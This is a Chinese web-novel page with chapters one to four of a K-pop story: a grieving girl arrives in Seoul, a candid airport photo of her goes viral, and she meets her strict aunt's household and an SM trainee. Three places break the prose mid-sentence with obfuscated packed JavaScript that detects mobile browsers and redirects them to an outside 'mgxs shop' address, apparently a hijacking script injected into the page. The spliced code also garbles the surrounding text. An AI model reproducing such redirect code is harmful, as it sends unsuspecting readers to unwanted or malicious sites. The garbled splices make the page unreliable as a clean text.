《空降忙内成团宠了[娱乐圈]》 1. (001) 飞机降落在仁川国际机场,姜智恩透过舷窗望着外面的天空,灰蒙蒙的薄雾笼罩着整个钢筋混泥土之下的城市,好像一幅灰白的画卷。 姜智恩心中五味杂陈。 她摸了摸随身携带的背包,里面有一个瓷瓶,那里——装着父亲的骨灰盒。 父亲姜杉临终前只说了两句话:“去首尔找你姑姑……”以及“如果能找到你妈,告诉她我不怪她”。 姜杉走后,姜智恩独自处理了后事。 家里的那栋破旧的小楼卖了,勉强够付医药费欠款,剩下的钱只够一张单程机票和两个月的生活费,大概五千块人民币。 兑换成韩元之后,姜智恩还有点小钱。 这边花销大,肯定不够。 十九岁的她,第一次出国。 目的地是父亲出生的国家——韩国。 在三万英尺的高空,姜智恩祈祷命运能够优待她。 毕竟来这里是投奔小姑姜怀瑾的。 显得很被动,也卑微。 姜智恩拖着半旧的行李箱走过通道时,她注意到远处有骚动。 一群女孩男孩举着相机和应援手幅聚集在出口处,尖叫声此起彼伏。她低头看了看自己简单的白T恤和牛仔裤,加快脚步想要绕开人群。 “来了来了!” “是姐姐们!!” “大家好,我们是 XOX~~” 八名戴着墨镜的女孩,在闪光灯下从容地打招呼,熟练又自然。 姜智恩听到粉丝们的尖叫,再次感受到造星力量。 自从韩流席卷亚洲之后,韩国出品的爱豆们纷纷在国际地位拔高。 迎面走来的八个人是如今很火的女团——XOX,是SM旗下一组阿拉贝拉唱跳组合。 基于东方神起的成功,阿卡贝拉的概念掀起Kpop的风潮。于是,SM在2004年10月10日,宣布XOX成立。 八位成员分别是郑河恩(Eunha)、金在宥(Jiu)、崔书妍(Sienna)、李彩潾(Chae)、朴素敏(Som)、姜柚娜(Yuna)韩智孝(Jihyo)、金草娥(Elvis)。 成员们紧锣密鼓地活动了一年,以至于人气相当高。 见状,姜智恩拉了下帽子,加快了脚步。 粉丝们突然涌向某个方向,姜智恩被挤得后退几步。 就在这时,一个举着沉重相机的女孩为了寻找更好的角度,后退时不小心撞到了她。 “米亚内~~”女孩匆忙道歉,相机却还举在眼前。 那一刻,闪光灯亮了。 姜智恩下意识侧过脸,用手遮挡突如其来的强光。然后,她什么也没说,拖着行李匆匆离开了。 她并不知道,那张无意中拍下的侧脸照,三小时后将在pann论坛掀起一场风暴。 * 仁川机场到首尔市中心的巴士上,姜智恩靠着车窗,望着窗外飞速掠过的风景。 她翻开手机,那是一条短信。 是小姑姜怀瑾发来的地址——首尔市忠武路某别墅区。 其实,父亲姜杉生前很少提及这位远嫁韩国的妹妹,只说她在首尔嫁得不错,生活富裕。 【到了就给这个号码打电话,会有人接你。】 姜怀瑾的信息简短而冷淡,连个称呼都没有。 姜智恩不怪她。 据父亲说,当年爷爷强烈反对女儿嫁给韩国人,姜怀瑾是私奔的。之后二十年,她只回过华夏两次,一次是爷爷去世,一次是五年前匆匆路过北京转机时和哥哥见了一面。 血缘是奇妙的纽带,即使多年未见,当姜智恩父亲病重时,姜怀瑾还是汇来了一笔不小的医疗费。 父亲去世后,也是她主动提出让姜智恩来首尔读书。 “你父亲希望你完成学业。”她在电话里说,声音平静而疏离,“首尔大学已经联系好了,九月入学。” 就这样,姜智恩踏上了异国求学的道路。 姜智恩看着手机里躺着的那张旧照片,纤长的手指攥紧成拳头。 母亲…… 那张照片是年轻时候的母亲。 她的面容,是月光洗礼过一般,属于浓颜系。眼睛像两颗被生活磨得温润的褐糖,笑起来时,眼角漾开细纹。穿着也是时髦的,看起来完全不是家庭主妇。 听父亲说,母亲当年不辞而别,只留下了这张照片当做念想。 姜智恩按照地址找到忠武路那片静谧的别墅区,高大的铁门和错落有致的庭院彰显着主人的财富与地位。 据说忠武路里有不少的演员明星,她想着或许以后可以偶遇? 姜智恩在门外站了好一会儿,才鼓起勇气按下门铃。 开门的是位五十多岁的妇人,穿着整洁的制服,表情礼貌而疏远。 “是姜智恩小姐吗?夫人交代过了,请进。”她说着不太流利的中文,接过姜智恩手中的行李箱。 “小姑她……” “夫人去参加茶话会了,晚些回来。您的房间已经准备好了,在二楼。夫人知道你要来,还添置了一些新家具。”妇人自我介绍,“对了,我叫金莲娜,是这里的管家。以后,就叫我金管家吧。” 似乎也没有任何商量的口吻,反而是肯定的语气。 姜智恩有些尴尬。 想着小姑姜怀瑾冷冰冰的态度,再想到眼前这个陌生人的语气,看来,她在首尔的第一天就出师不顺。 姜智恩跟着金管家走进别墅,就像是刘姥姥进大观园一样,震惊于这里的奢华。 别墅内部装修豪华,大理石地板光可鉴人,墙上挂着抽象画,随便一幅都价值连城。 整个空间散发着一种不被允许触碰的完美。 姜智恩被领到二楼尽头的客房。 金阿姨推开房间,里面宽敞整洁,有一扇面向庭院的大窗。她又推开房间里的另一扇门,“这里有个书房,是留给你用的。夫人和先生一般在楼上的房间。” 金阿姨说着,上下打量着眼前局促的女孩。 还真是乡下来的孩子,手指绞着衣角,都紧张成什么样了? “谢谢你,金阿姨。”姜智恩把行李推进去。 “晚餐七点开始,你先休息,我会来叫你的。” 金阿姨说完便轻轻带上门,离开了。 姜智恩将背包小心放在床头柜上,然后从里面取出一个黑色的罐子放在桌子上。她拍了下陶瓷罐,轻声说:“爸,我们到了。” 她躺在那张过于柔软的床上,盯着天花板。 隔壁隐约传来电视声,是某个综艺节目,夹杂着笑声和音乐。 姜智恩闭上眼睛,父亲的音容笑貌浮现在眼前。 “小恩啊,你跳舞的样子真像你妈妈。” 姜杉总是这样说。 姜智恩的母亲曾是歌舞团的舞蹈演员,遇见来华夏经商的韩国人后,在姜智恩三岁时不辞而别。父亲从未说过母亲一句坏话,只说她一定有难处。 “有人在首尔街头看见过她,在一家高级餐厅。”这是父亲临终前最后关于母亲的信息。 姜智恩坐起身,打开手机。 没有新信息。 她点开相册,里面只有寥寥几张和父亲的合影,还有一张母亲年轻时的黑白照片——那是她留下的唯一影像,身着舞蹈服,笑容灿烂。 隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352943|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁电视的声音突然变大,是熟悉的旋律。 姜智恩竖起耳朵,是XOX的出道曲《XO》。 这首歌她太熟悉了,北影艺考前,她选的舞蹈片段正是这首。如果不是父亲突然病重,她现在应该已经是北影表演系大一的学生了。 节奏感强烈的音乐像是有魔力,姜智恩不自觉地站起来,跟着记忆中的舞步移动身体。 刚开始只是小幅度的动作,但随着音乐进入高潮部分,她完全沉浸其中,仿佛又回到了那个狭小的练习室。 她旋转、跳跃,每一个动作都精准有力,汗水渐渐浸湿了白T恤。音乐声越来越大,她的舞步也越来越投入,暂时忘记了丧父之痛,忘记了身处异国她乡的孤独,忘记了一切烦恼。 就在这时,音乐突然停止。 姜智恩喘息着转身,看到门口站着一个女人。 她四十多岁,保养得当,穿着精致的香奈儿套装,头发一丝不苟地梳成发髻。她的眉眼与父亲姜杉有几分相似,但神情冷峻,与姜智恩记忆中父亲温和的面容截然不同。 “小姑?”姜智恩擦去额头的汗水,有些局促。 姜怀瑾快步走进房间,目光锐利地扫视四周,最后定格在姜智恩脸上。她没有回应姜智恩的称呼,而是走到电视机前,直接拔掉了电源。 “家里不允许听歌跳舞,这是规矩。”她的韩语流利而冷淡,然后切换到生硬的中文,“尤其是这种吵闹的音乐。” “对不起,我不知道……”姜智恩用中文回答。 姜怀瑾打量着她,目光在她汗湿的衣服和略显凌乱的头发上停留片刻,“洗个澡,换身衣服。晚餐时,我们再谈你的安排。” 她转身离开,走到门口时停顿了一下:“你父亲的事,我很遗憾。但生活还要继续,你要学会适应这里。” 房门轻轻关上,姜智恩站在原地,刚才跳舞时的热血一点点冷却。 她走到窗边,望着庭院里精心修剪的园艺。夜幕降临,灯光逐一亮起,将这个陌生的家照得通明,却照不进她内心的角落。 楼下传来汽车声。 姜怀瑾出门了。 姜智恩低声叹气:“爸,这里好像不像家。” 手机突然震动起来,是来自华夏的朋友发来的信息,附带一个链接:【姜智恩,这是你吗?韩国论坛炸了!】 姜智恩疑惑地点开链接,跳转到pann论坛的一个热帖。 标题是—— 【机场惊现神颜素人!求身份信息!】 帖子里的照片正是她在机场被拍下的侧脸。 照片上的她微微侧头,阳光从落地窗洒在她的轮廓上,长长的睫毛在下眼睑投下阴影,嘴唇紧抿,神情中带着一丝迷茫和忧郁。 回帖已经超过一千条。 【这侧脸绝了!是新人演员吗?】 【有没有人认识?三分钟我要她的全部信息!】 【有点像年轻时的允儿,但更清冷一些。】 【求正面照!她是跟着XOX一起的,难道是SM的还没公布的新人?】 【我也觉得是练习生。】 【赞同,完全赞同。】 【……】 姜智恩看着疯狂增长的回复数,愣住了。 她从未想过,自己无意中被拍下的一张照片,会在异国她乡引起这样的关注。更没想到的是,这场意外的关注,将彻底改变她在首尔的生活轨迹。 与此同时,城市的另一角。 姜怀瑾坐在豪华轿车后座,看着手机屏幕上同样的照片,眉头紧锁。驾驶座上,她的丈夫李敏洙从后视镜看了她一眼。 “这就是你哥哥的女儿?”他问。 2. (002) “嗯。”姜怀瑾给手机息屏,转头看向车窗外,似乎并没有论坛上的困扰,“她需要在家里住一段时间,顺便完成学业。” “长得挺好看的。听说在华夏是准备考艺术院校的?”李敏洙的语气听不出情绪。 “那是过去的事了。现在她需要专注于学业,找份体面的工作。”姜怀瑾肯定,“我不希望她和这个圈子有任何瓜葛。” 李敏洙蹙眉,“最近SM公司正在举办选秀……” 轿车驶向首尔灯火辉煌的夜晚,姜怀瑾看向窗外的霓虹灯,冰冷地说:“你别惦记小恩,她不是当爱豆的料。” 李敏洙轻轻笑了笑,没再说话。 而此时,姜智恩站在客房的窗前,望着同一片夜空。 楼下,金管家正在准备晚餐。 电视里播放着娱乐新闻,偶尔传来偶像团体新歌的片段。 姜智恩的手指无意识地跟着节奏轻轻敲打窗台。她不知道,那张照片已经像投入平静湖面的石子,涟漪正逐渐扩散。 就在姜智恩出神的时候,外面的音乐戛然而止。 敲门声传来。 姜智恩打开门,看到门外站着一个穿着贵族中学制服的女孩。 她大概十五六岁,扎着高高的马尾,校服衬衫的领口系着精致的蝴蝶结,裙摆下是修长的双腿。她手里抱着几本厚厚的教科书,正用好奇的目光打量着她。 “你是……”姜智恩迟疑地用韩语问道。 李在伊的眼睛突然睁大,像是认出了什么,然后她发出一声惊呼:“啊!是你!” 还没等姜智恩反应过来,李在伊已经兴奋地冲进房间,一把抱住她的手臂:“欧尼,你不知道吧,你出名了!你是论坛上那个神颜素人!” 姜智恩被这突如其来的热情吓了一跳,下意识地想抽回手臂,可是,李在伊把她抱得更紧了。 姜智恩尴尬地用韩文说:“请先放开我,我不明白你在说什么。” “你看!”李在伊松开一只手,从校服口袋里掏出最新款的三星手机,熟练地打开pann论坛,翻到那个已经登上热帖第一的帖子,“我说的是这个!这是不是你?” 姜智恩看着屏幕上自己的侧脸照片,无奈地点点头:“是我,好像是被人偷拍发出来的,我并不知道。” “欧尼!你太厉害了!”李在伊打断她,眼睛里闪烁着兴奋的光芒,“你不知道这张照片有多火!我敢打赌,很快就会有经纪公司的星探来找你了!像你这样的脸,不去当偶像太可惜了!” 她上下打量着姜智恩,像是在评估一件艺术品:“你这张脸简直就是为SM公司定制的!你知道SM吧?就是培养出东方神起、S.E.S的那家公司!他们家的女孩最漂亮了!” 姜智恩摇摇头:“我不太了解娱乐圈。” “什么?你不知道东方神起?”李在伊露出难以置信的表情,然后又试探性地问,“那你知道H.O.T吧?第一代韩流偶像?” 姜智恩继续摇头。 “不熟。” 李在伊有些泄气,但还不死心:“那XOX总该知道吧?有八个人,在亚洲也很红的!” 姜智恩想起在机场遇到的那群女孩,犹豫了一下:“崔书妍……我知道崔书妍。” “啊!对了!”李在伊拍了下手,“因为崔书妍也是华夏人,所以你才知道她!” 她把手机收起来,双手叉腰看着姜智恩:“先自我介绍一下,我叫李在伊,是这个家的小公主。你就是妈妈说的姐姐吗?呜呜,好可惜,我还没有见过大舅!” 姜智恩这才反应过来,原来这个女孩是小姑的女儿,她的表妹。 “我叫姜智恩,是你妈妈哥哥的女儿。从华夏来的。”姜智恩用不太流利的韩语介绍自己。 “真的是你啊!”李在伊的眼睛又亮了起来,“妈妈提过你要来,但没说你长得这么好看!怪不得会在机场被拍……” 她突然想到了什么,抓住姜智恩的手:“欧尼,你来得正好!我马上要备战高考了,数学题完全不会做!我听说你们华夏人的数学超厉害,能不能教教我?” 姜智恩连忙摆手:“不不不,你误会了。我是学艺术的,数学也不好,标准的学渣。” “别谦虚了!”李在伊不相信,“我不管,你必须帮我!不然……不然我就不给你吃西瓜了!在韩国,西瓜可是很贵很珍贵的水果哦!” 姜智恩忍不住笑了:“在我们乡下,西瓜几毛钱一斤,我早就吃腻了。” “什么?几毛钱?”李在伊瞪大眼睛,“不可能!在韩国一个西瓜要十万韩元呢!” 看着表妹天真的表情,姜智恩心中的阴霾稍稍散去了一些。 她犹豫了一下,最终还是松了口:“好吧,我看看题目,但我不保证会做。” “太好了!”李在伊兴奋地跳起来,拉着姜智恩就往外走,“跟我来,去我书房!” 姜智恩被她拉着穿过长长的走廊。 别墅比她想象的还要大,二层楼的设计既现代又奢华。 李在伊的房间在走廊尽头,推开门,里面是一个套间,有独立的卧室、衣帽间,还有一个宽敞的书房。 书房里摆满了书籍和少女风的装饰品,靠窗的位置有一张宽大的书桌,旁边是一张休息用的躺椅,角落里甚至还有一张单人床。 书桌上堆满了各种参考书和试卷。 姜智恩心想,看来韩国人的学习压力也大。 “快看这道题!”李在伊迫不及待地翻开一本数学习题集,指着一道复杂的函数题,“我完全看不懂它在说什么。” 姜智恩凑过去,仔细读题。 虽然她的数学确实不算好,但华夏高中教育的基础还是有的。她努力理解着韩语的数学术语,开始在草稿纸上演算。 “这里,应该先求导……”姜智恩一边自言自语,一边在纸上写着步骤。 李在伊凑得很近,专注地看着她的演算过程,偶尔发出“啊!”、“原来如此!”的感叹。她的马尾辫轻轻扫过姜智恩的手臂,带着淡淡的洗发水香气。 “你看,这样就能得出这个函数的最大值了。”姜智恩终于完成了演算,将步骤清晰地展示给李在伊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352944|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “欧尼太厉害了!”李在伊由衷地赞叹,然后拿起笔开始模仿姜智恩的解题步骤,“我再自己做一遍。” 书房里安静下来,只有笔尖划过纸张的沙沙声。 姜智恩看着专注解题的表妹,忽然觉得这个陌生的家里也有了一丝温暖。 窗外的天色渐渐暗了下来,书房的暖黄色灯光显得格外温馨。 就在李在伊即将完成题目时,门外传来敲门声,然后是金管家平静无波的声音:“大小姐,夫人和先生还有半小时就回来了。” 李在伊立刻跳起来,慌张地把姜智恩往门外推:“快走快走!不能让妈妈知道我找你帮忙!” “为什么?”姜智恩不解。 “妈妈最讨厌我学习时找人帮忙了,她说这样学不到东西。”李在伊压低声音,“而且她今天心情看起来不太好,别惹她生气。” 姜智恩被推出书房,李在伊迅速关上门,从门缝里小声说:“刚才教的我已经会了!谢谢欧尼!” 看着紧闭的房门,姜智恩无奈地摇摇头,转身走回自己的房间。 走廊里铺着厚厚的地毯,脚步声被完全吸收,整个二楼安静得令人有些窒息。 她刚走到自己房间门口,金管家无声无息地出现在她身后,手里端着托盘,上面是精致的水果拼盘。 “姜智恩小姐。”金管家的声音没有起伏,她把托盘递过来,“这是给您的水果。” “谢谢。”姜智恩接过托盘,正要转身进屋,金管家却再次开口。 “大小姐患有哮喘病,身体非常矜贵。”金管家的目光锐利,“医生嘱咐她需要静养,不能过于激动。希望您以后不要单独和她相处太久,也不要教她学习——那会让她过度用脑,对病情不利。” 姜智恩愣住了,她没想到表妹有哮喘,更没想到金管家会用这样的语气警告她。 “我只是想帮忙……”她试图解释。 “夫人的安排自有道理。”金管家打断她,语气依然恭敬,却带着不容置疑的冷硬,“您刚来,可能还不了解家里的规矩。在这里,夫人的话就是规矩。” 姜智恩感到一阵窒息。 她点点头:“我明白了。” 金管家微微鞠躬,转身离开,脚步声轻得几乎听不见。 姜智恩端着水果托盘回到房间,轻轻关上门。她将托盘放在桌上,看着那些被精心切好的水果,却完全没有食欲。 窗外的首尔已经完全被夜色笼罩,霓虹灯闪烁,这座不夜城才刚刚开始展现它的活力。但在这个华丽的别墅里,姜智恩却感到一种难以言说的压抑。 她还没正式见到小姑父,心里却已经有种待不下去的感觉。 手机再次震动,华夏的朋友李想发来新消息:【小姜,你怎么火到国外去了!有人搬运了pann论坛的内容,把你照片转到微博了,虽然没上热搜,但已经有小范围讨论了!】 姜智恩点开朋友发来的截图,果然在一个娱乐博主的微博里看到了自己的机场照片,配文是【韩国论坛疯传的神颜小姐姐,华夏人,疑似未出道的练习生?】 3. (003) 下面的评论五花八门: 【这侧脸绝了,有点像宝儿呢!】 【是我们华夏的小姐姐吗?求正面照!】 【目测会出道,这颜值不输现在的一线爱豆】 【有人扒出身份了吗?好奇】 【这么完美的一张脸,是哪家医院整出来的?这么一张权威的脸多多少少带点科技?】 【不不不,我觉得她侧脸完美!】 【能去韩国镀金,那估计是爱豆没跑了。姐妹们,赶紧打听打听,冲冲冲!】 姜智恩一目十行,一眼就把那些高赞评论看了个遍。 李想又发来一条消息:【小姜,要不考虑下在韩国出道?】 姜智恩叹气,手指快速的在键盘上敲击,【刚到忠武路,或许,我可以试试当演员。毕竟这是传说中演员居住最多的地方。kkk。】 李在伊能用上最新款的三星手机,而她只能拿着仅剩的钱换了一部普通的诺基亚。 父亲病重的时候,家里掏光了积蓄,姜智恩卖掉老破小的那套房子才还清债,如今只身一人来首尔投靠小姑,实际上已经是走上绝路。 如果能出道…… 姜智恩想,或许,父亲还在的话,她应该已经在北影的课堂上了。 李想被这句吐槽逗笑了,立刻回了一句:【对了,我决定考公了,祝福我吧。我也希望你能够在韩国拥有自己的一块理想之地……】 朋友李想的话有些过于理想化。 姜智恩看着那段充满温度的文字,默默地关掉了手机。 她躺在床上望着天花板。 今天发生的一切都太不真实——父亲的去世,突然来到韩国,在机场被偷拍,表妹的热情,管家的警告…… “爸,这里不会是第二个家。”她轻声说,声音在空旷的房间里显得格外孤单。 楼下传来汽车引擎的声音,然后是关门声和人声。 是小姑和小姑父回来了。 姜智恩坐起身,整理了一下衣服。晚餐时间到了,按照小姑的说法,要谈她的“安排”。 她不知道等待自己的会是什么,但有一点可以肯定——在这个陌生的家里,她必须尽快找到自己的位置,哪怕那个位置并不舒服。 她深吸一口气,推开房门,走向楼梯。 楼下,姜怀瑾和李敏洙正在交谈,金管家恭敬地站在一旁。 餐厅里,长桌上已经摆好了精致的餐具,水晶吊灯投下温暖的光。 李在伊也从楼上下来了,她已经换下了校服,穿着一件简单的家居连衣裙,看到姜智恩时,她偷偷眨了眨眼,然后迅速移开视线,装作若无其事的样子。 “小恩,下来吧。”姜怀瑾用中文说道,语气比下午柔和了一些,“见见你姑父。” 姜智恩走下楼梯,看向站在姜怀瑾身边的男人。 李敏洙大约四十岁,穿着合身的西装,戴着金丝眼镜,看起来儒雅斯文。但他那双隐藏在镜片后的眼睛,却让姜智恩感到一种无形的压力。 “这就是小恩吧。”李敏洙用流利的中文说道,脸上挂着得体的微笑,“欢迎来到首尔。以后就把这里当自己家。” “谢谢姑父。”姜智恩礼貌地鞠躬。 “好了,都坐下吧。”姜怀瑾示意大家入座。 晚餐是传统的韩式料理,摆盘精致,分量适中。用餐过程中,李敏洙问了姜智恩一些关于华夏生活和学业的问题,态度温和,但每个问题都像是在收集信息。 “听说你在华夏是准备考艺术院校的?”李敏洙切着面前的韩牛,看似随意地问道。 “是的,我喜欢跳舞。”姜智恩如实回答。 姜怀瑾皱了皱眉:“那是过去的想法了。现在你需要专注于学业,首尔大学就很不错,毕业后找份体面的工作。” “妈妈,欧尼跳舞很厉害的!”李在伊忍不住插嘴,“她在房间里舞蹈的时候,我偷偷看到了,虽然很短,但是很专业!” 姜怀瑾的脸色沉了下来:“在伊,食不言寝不语,我教过你多少次了?” 李在伊立刻闭嘴,低头默默吃饭。 李敏洙笑了笑,打圆场道:“年轻人有爱好是好事。不过小恩啊,艺术这条路很难走,尤其是对外国人来说。你有考虑过其她方向吗?” 姜智恩握着筷子的手紧了紧:“我还没想好。” “不急,慢慢想。”李敏洙说着,转向姜怀瑾,“对了,我听说SM公司最近在举办全球选秀,报名人数创了新高。现在的年轻人啊,都梦想着当明星。” 姜怀瑾看了丈夫一眼,语气坚定:“小恩不会参加什么选秀。她需要的是稳定的未来,不是那种吃青春饭的行业。” 姜智恩默默吃饭,没有接话。 她能感觉到餐桌下暗流涌动,小姑和小姑父之间似乎对这个话题有不同的看法。 晚餐结束后,姜怀瑾让姜智恩到书房谈话。 书房里,姜怀瑾坐在宽大的书桌后,示意姜智恩坐下。 “小恩,我知道你刚来不适应。”她开门见山地说,“但你父亲把你托付给我,我就要对你负责。无论在哪个国家,学历都非常重要。我已经帮你联系了一所语言学校,你先去学韩语,然后九月份就去首尔大学报名,你是以交换生的身份就读的,我花了不少钱才把你弄进去,你要懂得什么才是溺应该做的。” 她递过来一份文件:“这是语言学校的资料,下周一开学。” 姜智恩接过文件,看着上面密密麻麻的韩文,有些茫然。 “至于生活费,你不用担心。”姜怀瑾继续说,“我会按月给你零花钱,但你要学会理财。另外,家里的规矩你要遵守——晚上十点前必须回家,不准去娱乐场所,不准结交不三不四的朋友。” 她顿了顿,语气稍微缓和:“我知道这对你可能有些严格,但我是为你好。这里的竞争很激烈,你必须比本地人更努力才能站稳脚跟。” 姜智恩点点头:“我明白了,小姑。” “还有一件事。”姜怀瑾看着她,“我知道你在机场被拍了照片,还在网上引起了一些讨论。但你要记住,那些都是虚的。不要被一时的关注冲昏头脑,脚踏实地才是正道。” “知道了,小姑。”姜智恩只觉得疲惫。 从书房出来,姜智恩感到更加疲惫。 她回到房间,站在窗前,看着庭院里的灯光。 手机又震动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352945|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,这次是一个陌生号码发来的短信:【姜智恩小姐您好,我们是Starfield娱乐公司的星探,在论坛上看到了您的照片,觉得您非常有潜力。不知您是否有兴趣参加我们的新人选拔?如有意向,请回复此信息。】 姜智恩盯着这条短信看了很久,然后按下了删除键。 她拼尽一切想要鲤鱼跳龙门,可惜在起飞的瞬间发生意外,理想也从此夭折。 这些所谓的橄榄枝,就像小姑姜怀瑾所说的那样,只不过是过眼云烟。她现在需要的是稳定自己的学业,以后,找份正经的工作。 而当爱豆…… 似乎并不在姜怀瑾的计划中,姜智恩只能把这个念头掐灭。 窗外,城市的灯光如同繁星点点,每一盏灯下,都有不同的人生正在上演。而姜智恩的人生,正在这个陌生的国度,悄然转向一个她从未想过的方向。 * 凌晨四点,姜智恩从梦中挣扎着起床。 她扶了扶额头,该死,又偏头痛了。她走下床从背包里拿出布洛芬混着白开水吃了一颗,手机在灰暗的房间里闪烁了一下屏幕。 姜智恩的手紧紧抓着手机,短信安静地躺着。 【很抱歉,姜智恩。我现在已经成功的考上了公务员,以后也会在大城市里发展,而你在这个时候选择出国。我无法想象未来的你会是什么样子的,所以,我们分手吧。】 姜智恩觉得自己的手都在颤抖。 本来她打算一切打点好之后,就给凌霄发个消息过去报平安的。 谁知道,聊天框中却显示了一个大大的红色感叹号! 被删除了? 凌霄比她年长,如今已经大学毕业。可是一想到大学四年,她每天给她买早餐,每周送他去图书馆一起学习,甚至,连考公资料都是她整理的。 结果…… 大学毕业了,一句分手斩断了姜智恩的所有幻想。 这也太务实了吧? 姜智恩想着给凌霄打电话,虽然越洋电话很昂贵,可是这通电话必须打过去。 她,需要一个解释! 就在她准备打电话的时候,凌霄的短信又发来了。 【想要我解除拉黑很简单,你达到我说的所有条件,我就给你解除。我现在年纪不小了,家里催着稳定下来,你给我买套房吧!如果是这样,我还能勉强和你在一起,要不然的话……】 这是凌霄后续的话。 可是,姜智恩已经不想看了。 她甚至能想到那张丑恶的脸是怎么阴阳怪气的。 姜智恩气得直接发了一个字:【滚!】 做完这一切,姜智恩的内心久久不能平静。 父亲病重的时候,如果不是凌霄一直陪在身边给她加油打气,或许,她早就撑不下去了。 没想到他惦记的居然是一套房子? 明知道她现在身无分文,诸事不顺,凌霄还残忍的雪上加霜。 这种渣男,她不要了。 就当做对着四年的了结,姜智恩把凌霄的手机号码也拉黑了。 既然来到了首尔,那就要和过去说拜拜。 从现在开始,她的一切都会不一样! 4. (004) * 首尔的天空还蒙着一层灰色。 姜智恩已经套上卫衣,戴上帽子一身便装的走在忠武路的街道。 韩国人的睡眠已经进化了,哪怕是凌晨五点还有三五成群的人站在街边聊天。 咖啡店也是24小时营业,就为了这群夜猫子。 或许,他们不是夜猫子,而是黑夜的精灵。退化了睡眠,只想找个地方坐下来。 姜智恩拽了下衣角,推开了咖啡店的门。 她注意到屋内靠窗边有一个男生在那里玩手机。 其实并不是喜欢偷看的人,实在是那个男生长得很绝,像是人间手办,丹凤眼,精致的五官,直接给心脏来了一枪。 穿搭好看的他,在咖啡店里像是一道风景线。 姜智恩走到点餐区,用着生硬的韩语点了一杯冰美式。 等餐的时候,她又忍不住偷偷朝着那个男生看去。 明明是低调的着装,可是难以遮掩他天生的资本。 虽然知道这样打量人不好,可是姜智恩还是忍不住多看了几眼。 这时,男生突然望向她,在意识到自己被偷看的瞬间,他伸出手冲着姜智恩比起了中指。 完全的挑衅。 姜智恩扯了扯嘴角,好像被鄙视了呢! “您的冰美式!”服务员的声音让姜智恩的心情更加暴躁,她转过身接过饮料,想也没想,就朝着男生的方向走去。 然后,直接坐在了他的对面。 男生愣住,挑眉,伸出手朝着姜智恩勾了勾手指头。 姜智恩把冰美式放在餐桌上,轻轻点头给她打招呼:“阿宁哈塞哟~~” “看够了吗?”男生翻了个白眼,酷酷地拽了下姜智恩的衣襟。 明明看起来和她年纪相仿,手劲儿可真大。 姜智恩感觉到那种拉拽感,有必要这么动真格? “喂……”姜智恩有些敷衍,伸出手抓住他的手,“还没看够吗?” “呀!”男生收紧了力量,拎着姜智恩的姿势像是要把她丢出去,他挑眉,那张精致的脸在姜智恩的眼前放大,“现在的搭讪方式是这样吗?真老套啊,欧尼(姐姐)。” 姜智恩“嗯”了一声,震惊地看向她,“你叫我姐姐?拜托,我俩没这么熟!” “呀,欧尼,出门别总是看帅哥!”男生骄傲地扬起下巴,优越的脖颈透过灯光,就好像上面漂浮着一层晶莹的水钻,白到发光的肌肤,透着微微的粉红,年轻的身体状态各方面都很好。 姜智恩压低声音:“你比我小吗?不如,跟着我叫声姐姐来听?” 男生松开手,白了她一眼,“欧尼,你真油腻。” 姜智恩摸摸后脑勺,无奈叹气:“现在的小孩都这么机灵了吗?” “不是小孩,是未来的大明星。”男生轻拍着桌子,指了指自己,“我,金钟沄,以后是要成为大明星的人!” “练习生?” 姜智恩也知道在韩国,有一群为了未来的星途努力的孩子。他们叫做练习生,和娱乐公司签署专门的合约,等待着那个可能的出道机会。 没想到眼前这个长相精致的男生,是一名练习生。 果然首尔三步之内就能碰上偶像的预言是真的。 她住在忠武路,这边演员居多,说不定以后能碰上很火的大明星。 只不过,眼前这个臭小子……什么嘛!竟然这么不礼貌! 姜智恩问了一句,“你是哪家公司的?SM还是JYP?” 如今SM娱乐公司已经是韩国很出名的明星博物馆,追Kpop的都知道这家公司,他们的风格很出挑,在洗剪吹盛行的年代,H.O.T引领了潮流。 金钟沄轻挑眉梢,一双水汪汪的大眼睛泛着光,他的声音夹着激动,“当然是SM娱乐公司!” “哇,大发。”姜智恩做出惊讶的表情,夸张地把手指伸进嘴里,然后才慢悠悠地做自我介绍,“金钟沄xi,你好,我叫姜智恩,来自华夏。” “华夏人?”金钟沄立刻切换成中文,“你好,我叫金钟沄,是SM娱乐公司的练习生。刚才我注意到你一直看我,所以才做出了一些反常举动。很抱歉,希望不会给你带来困扰。” 姜智恩震惊,他居然会华夏的语言! 实际上姜智恩并不知道,在SM公司的练习生课程里,中文、日语都是必修课。甚至还有艺人为了学好中文,拿了六级证书。 “你的中文好标准!”姜智恩忍不住伸出大拇指,“这么早就喝冰美式,真的没关系吗?我是说……你们韩国人的血液里流淌着冰美式这句话一点也不假。” 金钟沄捂嘴偷笑,“我学过中文。” 